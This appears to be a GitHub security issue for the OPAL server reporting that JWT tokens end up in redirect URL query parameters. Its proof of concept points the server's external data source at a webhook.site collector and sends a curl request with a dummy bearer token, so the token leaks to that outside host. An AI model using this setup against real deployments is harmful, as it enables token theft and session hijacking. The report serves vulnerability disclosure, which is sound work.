Skip to content

[Security Issue] Sensitive Data Exposure (Token) #826

Description

@im-soohyun

Description


Vulnerability Overview

This vulnerability involves JWT tokens being exposed in URL query parameters when accessing OPAL server data configuration endpoints.

Affected Code

Issue Details

  • JWT tokens are passed as URL query parameters, which risks exposure via web server logs, browser history, Referer headers, and other sources.
  • While logs mask a portion of the token (short_token), the actual redirect URL can contain the complete token.

PoC

Environment Setup

docker run -d --name opal-example-opal_server-1 \
  -p 7002:7002 \
  -e OPAL_POLICY_SOURCE_TYPE=GIT \
  -e OPAL_POLICY_REPO_URL="https://github.com/permitio/opal-example-policy-repo" \
  -e OPAL_DATA_CONFIG_SOURCES='{"external_source_url":"https://webhook.site/4b07aedd-1ed5-4c7b-bf00-ba65a4756b13"}' \
  permitio/opal-server:latest

curl Example

curl -s -L -o /dev/null \
  -H "Authorization: Bearer 123123-1231231-123123" \
  http://localhost:7002/data/config
Image Image

Impact

Information Exposure

JWT tokens exposed in URLs may be leaked to third parties via web server logs, browser history, and Referer headers.

Session Hijacking

Attackers who acquire valid JWT tokens can compromise user sessions and access privileged resources.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions